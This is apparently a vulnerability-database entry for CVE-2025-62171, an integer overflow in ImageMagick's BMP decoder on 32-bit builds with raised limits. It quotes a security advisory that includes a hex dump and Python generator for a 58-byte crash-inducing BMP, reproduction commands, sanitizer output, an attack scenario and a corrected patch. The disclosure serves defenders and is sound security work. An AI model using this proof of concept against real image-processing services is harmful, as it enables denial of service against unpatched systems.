CVE-2025-62171
highpriority · track · 30EPSS 0.008 · 57 %ileDEEURUUSEPSS · scored 2026-10-27
ImageMagick is an open source software suite for displaying, converting, and editing raster image files. In ImageMagick versions prior to 7.1.2-7 and 6.9.13-32, an integer overflow vulnerability exists in the BMP decoder on 32-bit systems. The vulnerability occurs in coders/bmp.c when calculating the extent value by multiplying image columns by bits per pixel. On 32-bit systems with size_t of 4 bytes, a malicious BMP file with specific dimensions can cause this multiplication to overflow and wrap to zero. The overflow check added to address CVE-2025-57803 is placed after the overflow occurs, making it ineffective. A specially crafted 58-byte BMP file with width set to 536,870,912 and 32 bits per pixel can trigger this overflow, causing the bytes_per_line calculation to become zero. This vulnerability only affects 32-bit builds of ImageMagick where default resource limits for width, height, and area have been manually increased beyond their defaults. 64-bit systems with size_t of 8 bytes are not vulnerable, and systems using default ImageMagick resource limits are not vulnerable. The vulnerability is fixed in versions 7.1.2-7 and 6.9.13-32.
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- WID-SEC-W-2025-2339ImageMagick (BMP decoder): Schwachstelle ermöglicht Denial of ServiceDeutsch2025-10-19csaf · cert_bundDE
Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in ImageMagick ausnutzen, um einen Denial of Service Angriff durchzuführen.
- GHSA-9pp9-cfwx-54rmImageMagick has Integer Overflow in BMP Decoder (ReadBMP)2025-10-28ghsa · osvUS
## Summary CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack. The patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS. **Affected Versions:** - ImageMagick < 7.1.2-2 (originally reported) - **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)** **Platform and Configuration Requirements:** - 32-bit systems ONLY (i386, i686, armv7l, etc.) - Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes)) - Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**). --- ## Details(Root Cause Analysis) ### Vulnerable Code Location **File:** `coders/bmp.c` **Lines:** 1120-1122 (in version 7.1.2-5) ### The Incomplete Patch ```c // Line 1120: Integer overflow happens HERE extent = image->columns * bmp_info.bits_per_pixel; // OVERFLOW! // Line 1121: Uses already-overflowed value bytes_per_line = 4*((extent+31)/32); // Line 1122: Checks the RESULT, not the multiplication if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile"); ``` ### Why the Patch Fails **Attack Vector (32-bit system):** ``` Input BMP Header: Width: 536,870,912 (0x20000000) Height: 1 Bits Per Pixel: 32 Calculation on 32-bit system: extent = 536,870,912 × 32 = 17,179,869,184 (0x400000000) 32-bit truncation: 0x400000000 & 0xFFFFFFFF = 0x00000000 ← Overflow to ZERO! bytes_per_line = 4 × ((0 + 31) / 32) = 4 × 0 = 0 BMPOverflowCheck(0, 1): return (1 != 0) && (0 > 4294967295UL/1) return True && (0 > 4294967295) return True && False return False ← Does NOT detect overflow! ``` **The check fails because:** 1. The overflow happens at Line 1120 (extent calculation) 2. `extent` becomes 0 due to 32-bit truncation 3. `bytes_per_line` is calculated as 0 (Line 1121) 4. `BMPOverflowCheck(0, 1)` returns **False** (no overflow detected) 5. Code proceeds with corrupted values → ASan crash --- ## PoC(Proof of Concept) ### Minimal 58-byte BMP File **Hex dump:** ``` 00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.| 00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...| 00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 |..........| ``` **Key Fields:** - Offset 0x12: Width = `00 00 00 20` = 0x20000000 (536,870,912) - Offset 0x16: Height = `01 00 00 00` = 1 - Offset 0x1C: BPP = `20 00` = 32 ### Python Generator ```python #!/usr/bin/env python3 import struct width = 0x20000000 # 536,870,912 height = 1 bpp = 32 # BMP File Header (14 bytes) file_header = b'BM' file_header += struct.pack('<I', 58) # File size file_header += struct.pack('<HH', 0, 0) # Reserved file_header += struct.pack('<I', 54) # Pixel offset # DIB Header (40 bytes) dib_header = struct.pack('<I', 40) # Header size dib_header += struct.pack('<i', width) # Width dib_header += struct.pack('<i', height) # Height dib_header += struct.pack('<H', 1) # Planes dib_header += struct.pack('<H', bpp) # BPP dib_header += struct.pack('<I', 0) # Compression dib_header += struct.pack('<I', 0) # Image size dib_header += struct.pack('<i', 2835) # X ppm dib_header += struct.pack('<i', 2835) # Y ppm dib_header += struct.pack('<I', 0) # Colors dib_header += struct.pack('<I', 0) # Important colors pixel_data = b'\x00\x00\x00\x00' with open('overflow.bmp', 'wb') as f: f.write(file_header + dib_header + pixel_data) print(f"Created overflow.bmp (58 bytes)") ``` --- ## Reproduction Steps ### Environment Setup ```bash # Use 32-bit Docker container docker run -it --name test-32bit i386/ubuntu:latest bash # Install dependencies apt-get update apt-get install -y clang build-essential wget tar \ libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \ zlib1g-dev liblzma-dev libbz2-dev # Download ImageMagick 7.1.2-5 cd /tmp wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz tar xzf 7.1.2-5.tar.gz cd ImageMagick-7.1.2-5 ``` ### Build with AddressSanitizer (32-bit IMPORTANT!) ```bash # Configure for 32-bit build (CRITICAL - must be 32-bit!) ./configure \ --host=i686-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined" make -j$(nproc) ### Trigger the Vulnerability ```bash # Set environment to bypass cache.c limits export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1" export MAGICK_WIDTH_LIMIT=2000000000 export MAGICK_HEIGHT_LIMIT=2000000000 export MAGICK_AREA_LIMIT=10000000000 # Test with malicious BMP (use Python script above to create it) ./utilities/magick identify overflow.bmp ``` --- ## AddressSanitizer Output ``` ==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 "((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0) ================================================================= ==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 "((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0) ==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488) False positive error reports may follow For details see https://github.com/google/sanitizers/issues/189 ``` It operates in the following environments. ``` export MAGICK_WIDTH_LIMIT=2000000000 export MAGICK_HEIGHT_LIMIT=2000000000 export MAGICK_AREA_LIMIT=10000000000 ``` ## Impact ### Attack Scenario 1. Attacker creates a 58-byte malicious BMP file 2. Uploads to web service that uses ImageMagick (on 32-bit system) 3. ImageMagick attempts to process the image 4. Integer overflow triggers AddressSanitizer crash 5. Service becomes unavailable (Denial of Service) **Real-world targets:** - Web hosting platforms with image processing - CDN services with thumbnail generation - Legacy embedded systems - IoT devices running 32-bit Linux - Docker containers using 32-bit base images --- ## Recommended Fix ### Correct Patch The overflow check must happen **before** the multiplication: ```c // Add overflow check BEFORE calculating extent if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse) ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions"); // Now safe to calculate extent = image->columns * bmp_info.bits_per_pixel; bytes_per_line = 4*((extent+31)/32); // Additional safety check if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile"); ``` ### Alternative: Use 64-bit Arithmetic ```c // Force 64-bit calculation uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel; if (extent_64 > UINT32_MAX) ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge"); extent = (size_t)extent_64; bytes_per_line = 4*((extent+31)/32); ``` ### Credits wooseokdotkim wooseokdotkim@gmail.com
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references (9)
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- https://github.com/ImageMagick/ImageMagick/commit/cea1693e2ded51b4cc91c70c54096cbed1691c00cnnvd
- https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9pp9-cfwx-54rmcnnvd
- https://imagemagick.org/script/download.phpPatchcnnvd
- https://vigilance.fr/vulnerability/ImageMagick-integer-overflow-via-BMP-Decoder-ReadBMP-48517cnnvd
- https://github.com/ImageMagick/ImageMagick/commit/cea1693e2ded51b4cc91c70c54096cbed1691c00enisa_euvd
- https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9pp9-cfwx-54rmenisa_euvd
- https://github.com/ImageMagick/ImageMagick/commit/cea1693e2ded51b4cc91c70c54096cbed1691c00Patchnvd
- https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9pp9-cfwx-54rmExploitVendor Advisorynvd
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